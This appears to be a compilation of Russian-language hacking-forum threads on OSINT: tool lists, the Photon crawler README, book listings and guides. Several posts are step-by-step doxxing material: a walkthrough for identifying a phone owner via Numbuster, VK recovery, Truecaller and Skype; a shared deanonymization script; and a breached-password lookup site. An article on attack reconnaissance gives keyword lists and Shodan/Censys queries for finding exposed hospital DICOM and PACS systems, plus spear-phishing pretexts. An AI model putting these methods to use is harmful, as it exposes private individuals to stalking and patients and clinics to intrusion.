По сути, [Maltego](https://www.paterva.com/web7/buy/maltego- clients/maltego.php) предлагает графический интерфейс для представления графиков и преобразования для поиска новых данных в графике (например, доменов, связанных с IP-адресом из базы данных Passive DNS). Вы можете использовать Maltego Community Edition, который ограничивает охват поиска, но этого должно быть достаточно для небольших исследований.

Harpoon

Этот инструмент начинался как утилита для анализа угроз, но сейчас в нем много команд для OSINT.

Python

Очень часто вы сталкиваетесь с конкретными задачами по сбору данных и визуализации, которые не могут быть легко выполнены с помощью известных инструментов. В этом случае вам придется написать собственный код. Для этого я использую python, любой современный язык программирования будет работать одинаково хорошо, но мне нравится гибкость python и огромное количество доступных библиотек.

Джастин Зейтц (автор Hunchly) - написал справочник по Python и OSINT, вам обязательно стоит взглянуть на его блог и книгу «Black Hat Python».

SpiderFoot - это инструмент разведки, который собирает информацию с помощью множества различных модулей. Он имеет приятный веб-интерфейс и генерирует графики, показывающие связи между различными типами данных.

Recon-ng - это хороший инструмент CLI для запроса различных платформ, социальных ��етей или платформ анализа угроз.

Buscador - это виртуальная машина Linux, в которую встроено множество различных инструментов OSINT. Я всегда предпочитаю иметь свои собственные системы, но это хороший способ опробовать новые инструменты без необходимости устанавливать их один за другим.

Техническая инфраструктура

Анализ технической инфраструктуры находится на перекрестке между хакингом и OSINT, но это определенно важная часть расследований.

Вот что вы должны искать:

IP и домены: для этого есть много разных инструментов, но я считаю, что https://community.riskiq.com/ является одним из лучших источников информации. Бесплатный доступ дает вам 15 запросов в день через веб-интерфейс и 15 через API.

Сертификаты: Censys.io - отличный инструмент

crt.sh - также очень хорошая база данных cертификатов

Сканирование: часто полезно знать, какие сервисы работают на IP, вы можете выполнить сканирование самостоятельно с помощью nmap , но вы также можете положиться на платформы, выполняющие регулярное сканирование всех адресов IPv4. Две основные платформы - Censys и Shodan , обе они сосредоточены на разных аспектах (больше IoT для Shodan, больше TLS для Censys), поэтому полезно знать и использовать их обе.

Еще одним источником информации является Rapid7 Open Data, но вам придется скачивать файлы сканирования и проводить исследования самостоятельно.

Поддомены: существует множество различных способов найти список поддоменов для домена. PassiveTotal и BinaryEdge реализуют эту функцию напрямую.

Аналитика Google и социальные сети : последняя информация, которая действительно интересна, - это проверить, используется ли один и тот же идентификатор Google Analytics / Adsense на нескольких веб-сайтах. Этот метод был открыт в 2015 году и хорошо [описан сообществом Bellingcat](https://www.bellingcat.com/resources/how-tos/2015/07/23/unveiling- hidden-connections-with-google-analytics-ids/) . Чтобы искать эти связи, я в основном использую SpyOnWeb и NerdyData.

Поисковые системы

В зависимости от контекста, вы можете захотеть использовать другую поисковую систему во время расследования. Я в основном полагаюсь на Google и Bing (для Европы или Северной Америки), Baidu (для Азии) и Яндекс (для России и Восточной Европы).

Изображения

Для изображений есть две вещи, которые вы хотите знать: как найти дополнительную информацию об изображении и как найти похожие изображения.

Чтобы найти дополнительную информацию, первым делом нужно посмотреть данные exif . Exif-данные - это данные, внедренные в изображение при его создании, и они часто содержат интересную информацию о дате создания, используемой камере, иногда GPS-данные и.т.д. Чтобы проверить это, мне нравится использовать командную утилиту ExifTool, но расширение Exif Viewer которое можно установить для основных браузеров тоже очень удобно.

Чтобы найти похожие изображения, вы можете использовать Google Images, Bing Images или TinyEye. TinyEye имеет удобный [API](http://www.automatingosint.com/blog/2015/11/osint-youtube-tineye- reverse-image-search/), а Bing очень полезную функцию, позволяющую вам искать определенную часть изображения.

Нет простого способа проанализировать само содержание изображения и, например, найти его местоположение. Вам нужно будет найти на изображении определенные элементы, которые позволят вам угадать, в какой стране это может быть, а затем провести онлайн-исследование и сравнить его со спутниковыми изображениями и фото c Google Street View.

Социальные сети

Для социальных сетей доступно множество инструментов, но они сильно зависят от платформы. Вот краткая выдержка из интересных инструментов и приемов:

https://github.com/x0rz/tweets_analyzer - отличный способ получить обзор активности учетной записи Twitter.

Facebook: лучший ресурс для расследования в Facebook - это https://inteltechniques.com/osint/facebook.html

LinkedIn: самый полезный трюк, который я нашел в LinkedIn, это как найти профиль LinkedIn на основе адреса электронной почты

Веб архивы

Существует несколько платформ для кеширования веб-сайтов, которые могут стать отличным источником информации во время расследования либо потому, что веб- сайт не работает, либо для анализа исторического развития веб-сайта. Эти платформы либо автоматически кэшируют сайты, либо кэшируют сайт по требованию.

Поисковые системы: большинство поисковых систем кэшируют содержимое веб-сайтов при их сканировании. Это действительно полезно, и многие веб-сайты доступны таким образом, но имейте в виду, что вы не можете контролировать, когда он кэшировался в последний раз (очень часто менее недели назад), и, скорее всего, он скоро будет удален, поэтому, если вы найдете там что-нибудь интересное, подумайте о сохранении закэшированной страницы.

https://archive.org/ - это отличный проект, целью которого является сохранение всего, что опубликовано в Интернете, включая автоматическое сканирование веб-страниц и сохранение эволюции страниц в огромную базу данных. Важно знать, что интернет-архив удаляет контент по требованию (они сделали это, например, для компании Stalkerware Flexispy), поэтому вы должны сохранять контент, где-то еще.

Другие платформы ручного кэширования. Мне очень нравится archive.today, который позволяет сохранять снимки веб-страниц и искать снимки, сделанные другими людьми.

Иногда бывает неудобно вручную запрашивать все эти платформы, чтобы проверить, была ли кэширована веб-страница или нет. Я реализовал простую команду в Harpoon, чтобы сделать это: harpoon cachehttps://citizenlab.ca

Сбор доказательств

Вы определенно погрязнете в большом количестве данных, которые дублируются, веб-страницы изменяются, учетные записи Twitter исчезают и.т.д.

Вы не можете полагаться только на Интернет-архив, используйте другие платформы кеша и, если возможно, локальные копии.
- Сохраняйте изображения, документы и.т.д.
- Делайте скриншоты
- Сохраняйте данные о социальных сетях

Естественно, это далеко не все способы, помогающие найти ту или иную информацию. Осинтеры составляют целые подборки полезных сервисов, они часто меняются, и пополняются новыми инструментами.

https://github.com/jivoi/awesome-osint
https://osintframework.com
https://github.com/netstalking-core/netstalking-osint
https://github.com/automatingosint/osint_public
https://github.com/jmortega/osint_tools_security_auditing

Photon - очень быстрый краулер для OSINT

Key Features
Data Extraction

Photon can extract the following data while crawling:

• URLs (in-scope & out-of-scope)
• URLs with parameters (example.com/gallery.php?id=2)
• Intel (emails, social media accounts, amazon buckets etc.)
• Files (pdf, png, xml etc.)
• Secret keys (auth/API keys & hashes)
• JavaScript files & Endpoints present in them
• Strings matching custom regex pattern
• Subdomains & DNS related data

The extracted information is saved in an organized manner or can be exported as json.

Flexible
Control timeout, delay, add seeds, exclude URLs matching a regex pattern and other cool stuff. The extensive range of optionsprovided by Photon lets you crawl the web exactly the way you want.

Genius
Photon's smart thread management & refined logic gives you top notch performance.

Still, crawling can be resource intensive but Photon has some tricks up it's sleeves. You can fetch URLs archived by archive.orgto be used as seeds by using --wayback option.

In Ninja Mode which can be accessed by --ninja, 4 online services are used to make requests to the target on your behalf.

So basically, now you have 4 clients making requests to the same server simultaneously which gives you a speed boost if you have a slow connection, minimizes the risk of connection reset as well as delays requests from a single client.

Plugins

• wayback
• dnsdumpster
• Exporter

Docker
Photon can be launched using a lightweight Python-Alpine (103 MB) Docker image.

Code:Copy to clipboard

$ git clone https://github.com/s0md3v/Photon.git
$ cd Photon
$ docker build -t photon .
$ docker run -it --name photon photon:latest -u google.com

To view results, you can either head over to the local docker volume, which you can find by running docker inspect photon or by mounting the target loot folder:

Code:Copy to clipboard

$ docker run -it --name photon -v "$PWD:/Photon/google.com" photon:latest -u google.com

Frequent & Seamless Updates
Photon is under heavy development and updates for fixing bugs. optimizing performance & new features are being rolled regularly.

If you would like to see features and issues that are being worked on, you can do that on Development project board.

Updates can be installed & checked for with the --update option. Photon has seamless update capabilities which means you can update Photon without losing any of your saved data.

Contribution & License
You can contribute in following ways:

• Report bugs
• Develop plugins
• Add more "APIs" for ninja mode
• Give suggestions to make it better
• Fix issues & submit a pull request

Please read the guidelines before submitting a pull request or issue.

https://github.com/s0md3v/Photon

:smile83:Особенности национального OSINT, или ищем по MSISDN:smile56:.

Те, кто занимается конкурентной разведкой и сбором информации из открытых источников, часто сталкиваются с проблемой идентификации абонента конкретного сотового телефона (далее MSISDN, почему MSISDN??? Да потому что номера вы везде будете вводить в международном формате). В сети существует большое количество различных сервисов и способов «пробива» MSISDN. Я не буду заострять внимание на очевидных, типа пойди в раздел услуг на xss.is и закажи принадлежность) Или обратись к тем, кто накапливают материалы на эту тему.
Я же расскажу о некоторых инструментах, которые вам неожиданно могут помочь в нелёгком деле деанона не за ваши кровные, а за просто так)) Объяснять принципы работы приложений, указанных ниже я не буду, дабы экономить и ваше и моё время, мальчики то все большие)) Нам это вторично, главное полученный результат.
Те же, кто знаком с приложением numbuster, могут знать, что закончилась лафа лёгкого пробива, парни набрали аудиторию и теперь хотят ещё инсталлов их приложения в PlayMarket и AppStore)). Нам же на свой любимый смартфон совсем не хочется ставить всякое дерьмо, которое нам там совершенно не нужно.
Раньше можно было зайти на сайт numbuster.com, ввести номер телефона, к которому имеется доступ, чтобы получить проверочную смс, а затем спокойно лупить номера в поиск и получать profit. Сейчас же, данная фича не канает и при получении «совпадения» мы видим что-то типа:

Дабы нас не расстраивал такой ответ, устанавливаем на свою тачку эмулятор Android OS, кому что нравится, мне проще BlueStacks, хоть он и требовательный к ресурсам, но зато прост в установке. Кому надо, берём его с офф сайта тут:
http://www.bluestacks.com/download.html?utm_campaign=homepage-dl-button-ru
Проблем с установкой, думаю, не возникнет. Для работы нам понадобится аккаунт Google и телефонный номер, на который вы сможете принять смс с кодом проверки. После чего лезем в PlayMarket и устанавливаем numbuster. Приложение потребует номер телефона для отправки смс с кодом проверки. Вводим. Если всё успешно, то вы получите что-то на подобии:

Для осуществления поиска жмакаем на кнопку «Проверить номер». Я наберу какой- нибудь случайный MSISDN:

Да ладно? Вот это удача! Да неужели, ну-ка ну-ка, удостоверимся через ещё один источник, проверим через восстановление доступа Вконтакте (https://vk.com/restore). Для этого на указанной странице совершаем три последовательных шага: вводим номер телефона, вводим Фамилию (в нашем случае это: или Куклачев или Куклачёв или Kuklachev, вот такие дела! Обращаем внимание, это важно, ошибка даже в одну букву критична, поэтому используём все варианты). Отбросив лирику, в нашем конкретном случае получили Имя, город и какую-никакую фотографию. Действительно Куклачёв.

Для железной уверенности заходим на truecaller.com, где нам потребуется также аккаунт либо Гугла, либо Мелкомягких. Кажется, выше нам он был нужен для BlueStacks, вот его же и берём. Я думаю, что разобраться не сложно куда вводить MSISDN (там посередине  ). В сухом остатке имеем:

Да, в целом пример достаточно комичный и получить реквизиты известного человека (дата рождения, место рождения и т.д.) не составит большого труда. В жестокой реальности же можно столкнуться с большим количеством проблем. Посему не упускаем даже мельчайшие детали. Даже если бы пример был без Куклачёва, можно попробовать дополнить наше досье данными о дате рождения. Можно попытать счастье в Skype. Есть там такой раздел “Поиск контактов”:

Да, его у меня нет в контактах)))) Нажимаем «поиск», получаем:

В итоге получили полную дату рождения. Даже не зная отчество, мы уже дохрена чего имеем. Остальное дело техники)) Конечно, последовательность поиска можно, а иногда и нужно менять. Всё было сделано для демонстрации, а все совпадения с реальными людьми просто совпадения. Прошу прощения за воду.И пишите свои способы! Думаю, это будет всем интересно!))

Целенаправленные атаки: разведка на основе открытых источников (OSINT)

В одной из прошлых колонок я рассказал о стадиях целенаправленных атак (kill chain). Первая стадия, стадия «разведки», начинается задолго до того, как атакующий дотронется до первой машины жертвы. От количества и качества данных, собранных на этом этапе, зависит успешность атаки и, самое главное, стоимость ее проведения.

Разумеется, можно стучаться эксплоитами на уязвимые сервисы, доступные на периметре (и, например, засветить сплоиты и свое присутствие в логах систем защиты), а можно использовать spear phishing и закрепиться на рабочей станции внутри периметра. Результат будет достигнут в обоих случаях, но стоимость атаки совершенно разная.

Стадия разведки — ключевая для выбора тактики, техник и тулз (tactics, techniques and procedures, далее TTPs), которые будут использоваться для достижения цели. Однако чаще всего задача разведки заключается в следующем: найти как можно больше потенциальных точек входа для доступа к цели и оценить стоимость реализации обнаруженных векторов. Для того чтобы усложнить жизнь атакующему, который проводит разведку, необходимо понимать, какие TTPs он использует на данном этапе.

Поиск незакрытых дверей
От множества точек входа в корпоративную сеть зависит множество векторов атак, доступных злоумышленнику. Можно формально классифицировать точки входа:

• информационные системы, расположенные на периметре и имеющие доступ в интернет (серверы, рабочие станции, административные панели специального оборудования и так далее);
• мобильные устройства, используемые сотрудниками внутри периметра и за его пределами;
• учетные записи в облачных сервисах сотрудников (в том числе используемые в личных целях).

Последний пункт зачастую требует от атакующего «интерактива» с жертвой (например, коммуникацию с объектом фишинговой атаки), что повышает риск обнаружения атаки. Поэтому в некоторых случаях приоритет отдается эксплуатабельным точкам входа, расположенным на периметре.

Сетевой периметр — понятие, которое с развитием технологий и повсеместным внедрением облаков постепенно исчезает. Концепция Bring your own device (BYOD), позволяющая сотрудникам компаний использовать личные устройства для бизнес-процессов, а также появление облаков (привет, office365!) размывают периметр. Контролировать потоки данных между корпоративной сетью и внешним миром становится невероятно трудно. И это же облегчает жизнь злоумышленникам — многообразие вариантов проникновения растет.

В больших организациях периметр пестрит сервисами, о которых забыли (или не знают) админы и которые уже давно не патчились. Предлагаю поискать такие сервисы в твоей организации. На примере любимых мною медицинских организаций мы рассмотрим множество векторов проникновения. Впоследствии ты можешь использовать полученные знания для инвентаризации периметра принадлежащих тебе сетей.

Просканировать, отметить, повторить

Очевидно, для понимания того, что расположено на сетевом периметре, необходимо получить диапазон IP-адресов, принадлежащий целевой организации. В этом списке возможно наличие IP-адресов третьих сторон (сервис-провайдеры, подрядчики и прочие) — атакующий их точно включит в скоп, а ты, как аудитор своей сети, этого делать не можешь. Полученный диапазон IP можно занести в port-сканер. Вместо Nmap я рекомендую использовать для этой цели Masscan или ZMap — это сильно сократит время сканирования.

Так, для оценки точек входа в медицинские корпоративные сети можно выгрузить из RIPE диапазоны IP-адресов всех организаций, в названии которых присутствуют ключевые слова:
healthcare;
medic;
clinic;
surgery;
hospit;
dental;
pharmacist.
После этого можно запускать порт-сканер и подождать его выдачу несколько дней.

Если сканировать с помощью ZMap, то впоследствии можно воспользоваться утилитой ZTag для расстановки тегов по каждому обнаруженному сервису. Теги проставляются на основе собранной базы баннеров. В случае со сканом медучреждений полученные сервисы классифицируются следующим образом.


Среди тривиальных вещей вроде веб-приложений и почтовых серверов находятся интересные приложения: системы управления зданиями (building management systems; кстати, у нас по этой теме написана целая серия статей, вот например), принтеры (зачастую без какой-либо авторизации к админ-панелям), хранилища NAS (и даже специализированные PACS-серверы), умные чайники и прочее. Используя каждый из найденных сервисов, атакующий может определять векторы атаки и оценивать сложность (читай — стоимость) их реализации.


Панель управления принтером, в которой, например, виден список соседних беспроводных сетей

Пример уязвимого медпортала, ведущего к медицинским данным

OSINT без интерактива
Другой известный способ получить информацию о периметре и при этом никак с ним не взаимодействовать — изучить логи Shodan и аналогичных поисковых систем, роботы которых любезно все сделали за атакующего.

Как было видно из логов выше, в публичном доступе находятся всевозможные серверы, которые могут нести в себе специфику деятельности целевой организации и хранить ценную информацию. К примеру, если говорить о медицинских компаниях, то их периметр содержит DICOM-устройства и PACS-серверы (picture archiving and communication system). Это медицинские системы, основанные на стандарте DICOM (digital imaging and communications in medicine, отраслевой стандарт создания, хранения, передачи и визуализации медицинских изображений и документов обследованных пациентов) и состоящие из следующих компонентов:

• DICOM-клиент — медицинское устройство, обладающее возможностью передачи информации DICOM-серверу;
• DICOM-сервер — программно-аппаратный комплекс, который обеспечивает получение и хранение информации от клиентов (в частности, к таким устройствам относятся PACS-серверы);
• диагностическая DICOM-станция и DICOM-принтеры — программно-аппаратный комплекс, отвечающий за обработку, визуализацию и печать медицинских изображений.

Отличительная особенность большинства данных систем — наличие веб-интерфейса для управления ими через Сеть. Здесь могут обнаружиться уязвимости, которые злоумышленник может использовать для получения доступа к ценной информации и процессам. Стоит подробнее рассмотреть эти системы и проверить, доступны ли они из интернета, то есть служат ли потенциальной точкой входа для злоумышленника.

Поиск DICOM-устройств можно начать с простейшего запроса в поисковике Shodan:

Code:Copy to clipboard

DICOM port:104.


Также можно попробовать найти диагностические DICOM-станции — специализированные PACS-системы, которые используются для обработки, диагностики и визуализации данных. Пример запроса для поисковой системы Censys:

pacs and autonomous_system.organization: (hospital or clinic or medical or healthcare).

Click to expand...

Используя стандартные запросы в Shodan на получение информации о доступных ресурсах на порте 445 (SMB), атакующий иногда может узнать имена внутренних ресурсов (серверов и рабочих станций), благодаря которым определить, какие узлы в сети в дальнейшем представляют интерес, а какие — нет.


Сбор информации для социальной инженерии

Закрепиться внутри корпоративного периметра эффективно позволяет использование различных сценариев социальной инженерии. Например, рассылка фишинговых сообщений, которые содержат вредоносные вложения или ссылки, ведущие на фишинговые ресурсы.

Для реализации данных сценариев атакующий также должен собрать информацию об объекте атаки, чтобы увеличить вероятность, что адресат перейдет по ссылке в письме или откроет вложение. В настоящее время службы безопасности крупных организаций стараются повышать осведомленность своих сотрудников о вредоносной корреспонденции, что явно не идет на пользу злоумышленникам. Теперь злодеям необходимо не только обойти спам-фильтры жертвы и доставить «полезную нагрузку» в Inbox, но и мотивировать объект атаки выполнить необходимые действия и, самое главное, не вызвать подозрений.

Обилие социальных сетей, а также «раскрепощенность» типичного их пользователя предоставляет атакующему возможность извлечь информацию о своей жертве и составить убедительный контекст «полезной нагрузки»: текст сопроводительного письма, стиль коммуникации.

Это творческая задача, и зависит она от конкретной ситуации, но в качестве общего примера можно привести ресурс, который использует открытые API популярных соцсетей для извлечения ценной информации об учетной записи.

Пример веб-сервиса OSINT, использующего API социальных сетей

К примеру, атакующий, обратившись к LinkedIn, смог определить ключевых сотрудников для организации атаки spear-phishing, их имена, фамилии, контактные данные (электронную почту). Используя эти данные, несложно найти аккаунты этих сотрудников в других соцсетях, например в Facebook. При помощи веб-сервиса атакующий может собрать интересную статистику своих жертв, например где и в каких отелях они «чекинились». Далее от имени отеля злодей может отправить сообщение с напоминанием об оплате некоторых Resort Fee и прикрепленным инвойсом в виде PDF-документа. Profit!

Recon как искусство

Тема извлечения данных об объекте атаки очень обширна, и об одной только разведке на основе открытых источников написана не одна книга. По этой причине я и сфокусировал внимание на сборе технической информации о периметре — именно в нем зачастую содержатся незакрытые двери, которые не патчатся годами и о которых может не знать сам владелец.

В дополнение к этому атакующий, пробирающийся через внешние ресурсы, не взаимодействует с человеком (как это происходит в случае с социальной инженерией), а значит, единственное препятствие — это всевозможные IDS/IPS, WAF и все, что фиксирует активность на периметре. Если эти средства там вообще есть.

© Денис Макрушин
#InspiredByInsecure

2 замечательных книги: Поиск в Интернете и сервисы Яндекс и Google: эффективный поиск. Краткое руководство

Google: эффективный поиск. Краткое руководство

В книге подробно описаны методы и приемы работы с наиболее популярной на сегодняшний день информационно-поисковой системой Google. Приведены основные сведения о поисковых машинах и даны определения наиболее часто используемых терминов, относящихся к поиску информации в Internet. Подробно рассмотрены все возможности Google - от поиска текстов, изображений, товаров, новостей, спутниковых фотографий до ведения сетевого дневника (блога) и популяризации с помощью Google собственного сайта. Книга предназначена для тех, кто уже имеет небольшой опыт работы на компьютере и в Internet, но еще не умеет правильно искать в Сети необходимую информацию. Те, кто уже имеют небольшой опыт поиска информации в Internet, также найдут для себя в книге немало интересного. Руководители компаний, менеджеры и бизнесмены, инженеры и техники, студенты и школьники, желающие научиться эффективно использовать многочисленные возможности Google - всем будет интересно прочитать эту книгу.
Формат : pdf
Размер: 24 мб[New$paN]
Скачать|Download

Поиск в Интернете и сервисы Яндекс.
Задача книги — познакомить читателя-пользователя со всеми возможностями, предоставляемыми для поиска, и не только, службой Яndex. Прочитав эту книгу вы сможете максимально эффективно пользоваться и настраивать для своих нужд разнообразные инструменты, которые безвозмездно предлагает «многоликий Яndex».
Формат : pdf
Размер: 13 мб
Скачать|Download

Источник: vipusers.net

Whats the best method to get information from just a phone number?

Всем привет дорогие форумчане не на одном форуме не видел софта для таких вещей в общем решил поделиться скрипт написал на языке питон и особо больших данных сервера не нужны легко использовать.
Вам нужен сервер можно использовать так же гугл клоуд shell сервер бесплатный.
Вам не обходимо установить петон3
так sudo apt install -y python3-pip в гугле много инфы как установить петон3 это не трудно
как все установите запускаем вот так
python3 DoxkingV2.py если будет ошибка там будет написано кого модуля не хвотает идете в гугл пишите петон3 установить (название модуля) это просто после установке всех модулей запускаете снова и води ник или телеграм вашего чела которого хотите задеанонить и идете по следам.
Спасибо за внимание ставьте плюс если кому помогло люди писали мне что бы я им продал данный скрипт но для вас бесплатно.
залил на яндекс диск так как сюда не могу.
https://disk.yandex.ru/d/IRDmMfkNPuHv9g
Если тема зайдет сделаю гайд по Sherlock он более продвинутый и для профессионалов.

Signup and go to https://account.shodan.io/billing
it gives membership for one month and 20 export credits and 100 scan and query credits) you can give a try))

Collect content from blogs, podcasts, YouTube, Reddit & Twitter feeds using Excel and Power Automate

In this tutorial you will learn how to use Power Automate to collect content from blogs, podcasts, YouTube, Reddit and Twitter feeds and add those items to tables in Microsoft Excel. To process new sources being added to the feed lists, a form will be created using Microsoft Forms and paired with a second flow that will process new feed submissions to that form. You can think of this as a DIY content collection system for blog articles, podcast episodes, YouTube videos, Subreddit posts and Tweets.

For this example, we will be using Microsoft Excel tables to store the feeds and collect the content, but you can easily use this as a template for storing them on SharePoint lists instead.

To follow along, you will need a Microsoft 365 account and access to Power Automate and Microsoft Forms. You will also need an active Twitter account to collect Tweets.

Автор: Nihad A. Hassan Rami Hijazi
Год издания: 2019
Язык: Русский
Формат: pdf

​

Описание:

Применяйте методы и инструменты Open Source Intelligence (OSINT) для получения информации из общедоступных онлайн-источников для поддержки вашего интеллектуального анализа. Используйте собранные данные в различных сценариях, таких как финансовые расследования, расследования преступлений и терроризма, а также анализ конкуренции в бизнесе и получение разведданных о физических и других лицах. Эта книга также улучшит ваши способности получения информации в Интернете как из обычного Интернета, так и из скрытой паутины через два ее подслоя: глубокую паутину и темную паутину.

Автор включает в себя множество ресурсов OSINT, которые могут быть использованы как спецслужбами, так и предприятиями для мониторинга тенденций на глобальном уровне, выявления рисков и сбора разведданных конкурентов для принятия более эффективных решений. Вы откроете для себя методы и инструменты, которые в равной степени используются хакерами и тестировщиками проникновения для сбора информации о конкретной цели в Интернете. И вы будете знать, как ресурсы OSINT могут быть использованы при проведении атак социальной инженерии.

Методы и инструменты разведки с открытым исходным кодом используют практический подход и перечисляют сотни ресурсов OSINT, которые могут быть использованы для сбора разведданных из открытых онлайн-источников. В книге также рассказывается о том, как обезличить свою цифровую личность в Интернете, чтобы вы могли вести поисковую деятельность, не раскрывая себя.

Для кого предназначена книга:

Пентестеры, следователи цифровой криминалистики, разведывательные службы, военные, правоохранительные органы, учреждения ООН и коммерческие/некоммерческие предприятия

Spoiler: Содержание

• Введение

• Глава 1: Эволюция OSINT

• Категории информации с открытым исходным кодом
• Типы OSINT
• Объем цифровых данных
• OSINT Организаций
• Правительственные организации
• Частный сектор
• Серые продавцы литературы
• Стороны, заинтересованные в OSINT информации
• Правительство
• Международные организации
• Правоохранительные органы
• Бизнес-корпорации
• Пентесторы и киберпреступники / Преступные организации
• Конфиденциальность - Сознательные люди
• Террористические организации
• Типы сбора информации
• Пассивная коллекция
• Полупассивная
• Активная коллекция
• Преимущества OSINT
• Проблемы разведки с открытым исходным кодом
• Правовые и этические ограничения
• Итоги

• Глава 2: Введение в онлайн-угрозы и контрмеры

• Онлайн-угрозы
• Вредоносных программ
• Киберпреступники
• Фарминг
• Фишинг
• Кибервымогательство
• Рекламные и шпионские ПО
• Троян
• Вирус
• Черви
• Scaraware
• Руткиты
• Juice Jacking
• Wi-Fi Подслушивание
• Программное обеспечение безопасности
• Антивирус
• Брандмауэр
• Антивредоносные ПО
• Обеспечение ОС
• Защита ОС Windows
• Staying Private в Windows 10
• Уничтожение цифровых следов
• Общие настройки конфиденциальности
• Захват камеры вашего PC
• Как избежать пиратского программного обеспечения
• Обработка цифровых файлов Метаданные
• Физическое обеспечение безопасности ЭВМ
• Методы онлайн-слежения
• Отслеживание по IP-адресу
• Куки
• Цифровая отпечатки
• HTML5
• Проверка цифрового следа
• Безопасный просмотр в Интернете
• Настройка Firefox для большей приватности
• Безопасное Интернет-соединение
• VPN
• Прокси
• DNS утечка
• Анонимность в Интернете
• Использование TOR Network
• Использование Tails OS и других безопасных OS
• Безопасное совместное использование файлов
• Создание анонимных платежей
• Методы шифрования
• Защита паролей
• Шифрование Вашего HDD / USB
• Безопасность облачных хранилищ
• Безопасная электронная почта
• Технология виртуализации
• Эмулятор Android и iOS
• Основные предпосылки
• Программное обеспечение для рисования и Визуализация данных
• Бесплатные услуги по переводу
• Заключительные советы
• Итоги

• Глава 3: Глубинный интернет

• Слои Интернета
• Даркнет пользователи
• Доступ к Даркнету
• Проверки безопасности при доступе к Даркнет
• Доступ к даркнету из чистого WEBа
• Использование Tor
• Использование Tails OS
• Предупреждение при использовании Tails
• Поиск в сети Tor
• Другие анонимные сети
• I2P
• Freenet
• Двигаемся дальше
• Итоги

• Глава 4: Методы поиска

• Подбор ключевых слов и Исследование
• Использование поисковых систем для поиска информации
• Google
• Bing
• Конфиденциальность поисковых систем
• Другие Поисковые системы
• Сайты бизнес-поиска
• Поисковые системы метаданных
• Поиск кода, поисковые системы FTP
• Автоматизированные инструменты поиска
• Устройство Интернета вещей (IoT) Поисковые системы
• Веб-каталоги
• Переводчики
• История сайта и Захват веб-сайта
• Сервис мониторинга веб-сайтов
• RSS лента
• Новостной поиск
• Настройка Google News
• Новостные веб-сайты
• Обнаружение новостных фейков
• Поиск цифровых файлов
• Поиск документов
• Изображение
• Видео
• Расширение файлов и список сигнатур расширений 196
• Инструменты для повышения производительности
• Итоги

• Глава 5: Социальные медиа разведка

• Что такое социальные медиа разведка?
• Типы контента в социальных сетях
• Классификация социальных медиа-платформ
• Популярные сайты социальных сетей
• Исследование социальных медиа сайтов
• Facebook
• Twitter
• Google+
• LinkedIn
• Общие ресурсы для размещения информации на сайтах соц. медиа
• Другие социальные медиа-платформы
• Pastebin сайты
• Психологический анализ социальных медиа
• Tone Analyzer 257
• Watson Tone Analyzer
• Facebook и Twitter интерполяция
• Fake Sport
• Review Meta
• TweetGenie
• Итоги

• Глава 6: Поиск людей и публичных записей

• Что такое поисковая система людей?
• Что такое публичные записи?
• Пример публичных записей
• Поиск персональных данных
• Общий поиск людей
• Онлайн-реестры
• Существенные записи
• Уголовный и судебный поиск
• Отчеты о собственности
• Налоговые и финансовые отчеты
• Поиск номера социального страхования
• Проверка имени пользователя
• Поиск по электронной почте и исследование
• Репозиторий данных, скомпрометированных веб-сайтов
• Поиск номера телефона
• Профили сотрудников и веб-сайты о вакансиях
• Поиск сайта знакомств
• Прочие публичные записи
• Итоги

• Глава 7: Онлайн Карты

• Основы геолокации
• Как найти GPS Координаты любого местоположения на карте
• Как найти координаты геокода с адреса рассылки
• Общие инструменты геопространственных исследований
• Коммерческие спутники
• Дата/время. По всему миру
• Социальные медиа, основанные на местоположении
• YouTube
• Facebook
• Twitter
• Другие социальные медиа-платформы
• Поиска местоположения в соцсетях автомат. инструментам
• Информационный Профиль страны
• Отслеживание транспорта
• Воздушные движения
• Морское движение
• Транспортные средства и железные дороги
• Отслеживание пакетов
• Веб камеры
• Метаданные цифрового файла
• Итоги

• Глава 8: Технические Следы

• Исследуйте целевой веб-сайт
• Исследуйте файл Robots.txt
• Зеркало Целевой веб-сайт
• Извлечение ссылок
• Проверка обратных ссылок целевого веб-сайта
• Мониторинг обновлений веб-сайта
• Проверка архивного контент веб-сайта
• Определить используемые технологии
• Зачистка веб сайта
• Исследуйте метаданные файлов целевого веб-сайта
• Поиск сертификации веб-сайта
• Инструменты статистики и аналитики веб-сайта
• Инструменты проверки репутации веб-сайта
• Пассивная техническая разведка
• WHOIS Поиск
• Открытие поддоменов
• DNS разведка
• Отслеживание IP-адресов
• Итоги

• Глава 9: Что Дальше?

• Что будет с OSINT
• OSINT обработка

• Заключение

Скачать:

Hidden content for authorized users.

You must spend at least 5 day(s) on the forum to view the content.

UFile
WDfiles
Files.fm
MediaFire
WorkUpload
Fayloobmennik

New Google ID search method by Gmail address

1. Open hangouts.google.com on your PC and in the left corner click on your contacts.
2. Click create a chat and enter the desired gmail address in the search.
3.Right-click on the name of the account and select Inspect
4. In developer tools, find the line with hovercard-oid
5. After this phrase will be an ID of 21 digits long, copy this ID

Using Google ID

1. https://get.google.com/albumarchive/GoogleID - replace GoogleID with the numbers you copied, find the account's picture album.
2. https://www.google.com/maps/contrib/GoogleID - replace GoogleID with the numbers you copied, find an account in Google Maps.

Hi i found a website like HIBP with 15 billion records including all breached databases

https://ghostproject.fr
https://twitter.com/ghostprojectme

with this website i was enable to see my old and new passwords from Zoosk2020
its really awesome tool

Did anyone try the website yet?

Сделаю парсинг по Google Maps под ваши запросы(тестирую софт)

When ꓘamerka meets healthcare — Research on exposed medical devices

Приветствую.

Должно быть, многие из вас слышали о заражении вирусами-вымогателями множества больниц по всему миру. Такие инциденты довольно часто проскакивают в новостях последнее время.
Отрасль здравоохранения является наиболее важной отраслью критической инфраструктуры. Помимо того, что, как правило, на слабо защищенных серверах мед. учреждений хранится конфиденциальная информация о состоянии здоровья больных,
любое нарушение в работе оборудования может привести к человеческим жертвам. Поэтому, в данной отрасли, атаки вирусов-вымогателей, созданные с целью извлечения финансовой выгоды, являются высокоэффективными.
Аварийное отключение оборудование может привести к потере доверия, денег и, конечно, плохой репутации больницы, не говоря уже о пациентах, которые находятся в опасности. Поэтому, персоналу ничего не остается,
как заплатить киберпреступникам.

В сети не так уж и много информации о реализации атак на эти клиники, но я предполагаю, что киберпреступники получают доступ, используя фишинг или популярные уязвимости,
вроде Bluekeep, на компьютерах с включенным RDP. Помимо этого, в американских клиниках активно используется сетевой протокол DICOM, в купе с PACS.

Помимо денежных доходов от шифрования данных, злоумышленники могут красть конфиденциальную информацию о людях, их рентгеновские снимки, платежи и медицинских записи, и использовать для шпионажа или шантажа.

